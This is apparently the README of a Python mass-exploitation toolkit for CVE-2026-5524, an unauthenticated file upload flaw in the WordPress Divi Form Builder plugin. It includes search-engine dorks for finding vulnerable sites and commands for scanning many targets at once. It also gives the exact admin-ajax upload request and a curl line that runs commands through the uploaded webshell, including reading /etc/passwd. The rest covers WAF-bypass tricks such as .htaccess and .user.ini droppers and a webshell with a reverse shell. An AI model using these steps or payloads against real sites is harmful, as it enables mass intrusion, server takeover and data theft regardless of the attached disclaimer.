针对 CVE-2026-5524 的 Python 大规模利用工具包,该漏洞是 WordPress Divi Form Builder 插件中的未认证文件上传 RCE,支持 webshell 上传和命令执行。
针对 CVE-2026-5524 的大规模利用工具包,该漏洞是 WordPress 插件 Divi Form Builder <= 5.1.8 中的未授权任意文件上传漏洞,可导致远程代码执行。
| 字段 | 值 |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (严重) |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响版本 | Divi Form Builder <= 5.1.8 |
| 已修复版本 | 5.1.9 |
| 类型 | 未授权文件上传导致 RCE |
| 研究者 | 0xd4rk5id3 - EnvoraSec |
WordPress 的 Divi Form Builder 插件存在未授权任意文件上传漏洞。do_image_upload() 处理函数将用户可控的 acceptFileTypes POST 参数直接传入用于验证文件扩展名的正则表达式。通过提供诸如 phtml 之类的值,攻击者可以绕过插件仅阻止 .php 扩展名的 .htaccess 规则,并上传具有 PHP 可执行扩展名(.phtml、.phar、.php5、.php7 及类似扩展名)的 webshell。
一旦文件落入 /wp-content/uploads/de_fb_uploads/,Apache 会将其作为 PHP 执行,从而使攻击者以 Web 服务器用户身份获得远程代码执行能力。
该问题已在 Divi Form Builder 5.1.9 中修复。
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
要求:Linux、macOS 或 WSL 上的 Python 3.8 或更高版本。
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
适用于位于 WAF(NinjaFirewall、Wordfence、ModSecurity)之后,或具有加固的 Apache 或 nginx 配置的目标。
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
上传成功后,脚本可以立即执行命令或进入交互式 shell。
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
存在漏洞的处理函数在未进行清理的情况下,从用户输入构造正则表达式。
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
通过发送 acceptFileTypes=phtml,生成的正则表达式 /\.(phtml)$/i 会匹配以 .phtml 结尾的文件名,尽管插件自身的 .htaccess 文件仅阻止 .php 扩展名。随后 Apache 会将上传的文件作为 PHP 执行,从而产生远程代码执行。
爬取嵌入 Divi Form Builder 表单的页面(/、/contact、/quote 等)。附加 ?nocache=<random> 参数以绕过 Varnish、WP Rocket 及其他页面缓存,否则它们会返回过期的 nonce。
从本地化的 JavaScript 对象中提取 fb_nonce 值:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
向 /wp-admin/admin-ajax.php POST 一个 multipart 表单,包含:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
从 JSON 响应中读取文件 URL:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
使用 base64 编码的命令请求 shell:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
脚本按优先级顺序尝试每种技术,当设置 --aggressive 时,即使第一次上传报告成功,也会尝试每一种技术。
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
本工具仅供教育目的以及在授权的渗透测试活动中使用。可接受使用的示例包括:
未经授权对您不拥有或没有明确书面许可进行测试的系统使用本工具,在几乎所有司法管辖区均属违法,并严格禁止。作者不纵容也不对本代码的滥用承担责任。
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
可能相关的法律包括印度尼西亚的 UU ITE、美国的《计算机欺诈与滥用法》、欧盟的《网络犯罪公约》以及其他地区的同等立法。如有疑问,请先获得书面授权。
仅供教育用途。完整使用条款请参阅免责声明部分。
| 参数 | 描述 |
|---|
-u URL | 单个目标 URL |
-l FILE | 包含目标列表的文件,每行一个 URL |
-t N | 并发线程数(默认 10) |
--timeout N | 请求超时时间(秒)(默认 15) |
-o FILE | 将结果保存到 JSONL 输出文件 |
--proxy URL | 通过 HTTP 代理路由流量 |
--nonce HASH | 使用手动提供的 nonce,跳过自动检测 |
--ext EXT | 强制使用单个扩展名,而非完整的绕过列表 |
--shell | 成功后进入交互式 RCE shell(仅限单个目标) |
--cmd CMD | 在目标上执行一条命令,然后退出 |
--shell-file FILE | 上传自定义 shell 载荷,而非内置载荷 |
--no-verify | 跳过上传后的 RCE 验证步骤 |
--strict-verify | 确认 shell URL 返回 HTTP 200 以过滤误报 |
--user-ini | 为 PHP-FPM 环境上传 .user.ini dropper |
--htaccess | 为 Apache 环境上传 .htaccess 重新启用器 |
--aggressive | 启用所有可用的绕过技术 |
--null-byte | 包含空字节和双扩展名尝试 |
--path-traversal | 尝试上传到 /uploads/YYYY/MM/ 子目录 |
--debug | 打印原始 HTTP 响应以进行诊断 |
| # | 技术 | 目标 |
|---|
| 1 | 替代 PHP 扩展名 .phtml、.phar、.php5、.php7、.php4、.pht、.shtml | 仅阻止 .php 的插件 .htaccess 规则 |
| 2 | 大小写变体 .PHTML、.PHP5、.PhTmL | 区分大小写的 WAF 签名(NinjaFirewall) |
| 3 | 双扩展名 .phtml.jpg、.php.jpg | Apache mod_mime 内容协商特性 |
| 4 | 空字节 .php%00.jpg、.phtml%00.txt | 旧版 PHP(低于 5.3.4)及某些解析器 |
| 5 | 尾部空格或点 .php 、.php. | Windows IIS 及旧版 Apache |
| 6 | Content-Type 欺骗 application/octet-stream | 以 multipart Content-Type 头为关键特征的 WAF |
| 7 | 上传真实的 .htaccess,为 .gif、.png、.jpg、.txt、.html 等重新启用 PHP | 配置了 AllowOverride All 的 Apache 服务器 |
| 8 | 上传包含 auto_prepend_file 的 .user.ini | PHP-FPM 环境 |
| 9 | 通过 multipart 边界操纵进行文件名注入 | 重新解析请求体的代理和 WAF |
| 10 | 文件名中的路径遍历 ../shell.phtml | 插件目录限制 |
| 组件 | 技术 |
|---|
| 语言 | Python 3.8+ |
| HTTP 客户端 | requests |
| TLS 处理 | urllib3 以不安全模式处理自签名证书 |
| 并发 | concurrent.futures.ThreadPoolExecutor 用于批量扫描 |
| 解析 | re 用于 nonce 提取,json 用于响应处理 |
| 编码 | base64 用于 webshell 命令参数 |
| CLI | argparse,包含 19 个可配置参数 |
| 组件 | 技术 |
|---|
| 语言 | PHP 7.0+ |
| 执行函数 | system()、shell_exec()、proc_open()、passthru()、popen() |
| 前端 | 纯 HTML 表单,无 JavaScript 框架 |
| 功能 | 文件浏览器、命令执行、数据库访问、反向 shell、自安装 .htaccess 和 .user.ini |
| 大小 | 约 16 KB |
| 绕过层 | 六条独立执行路径及编码载荷 |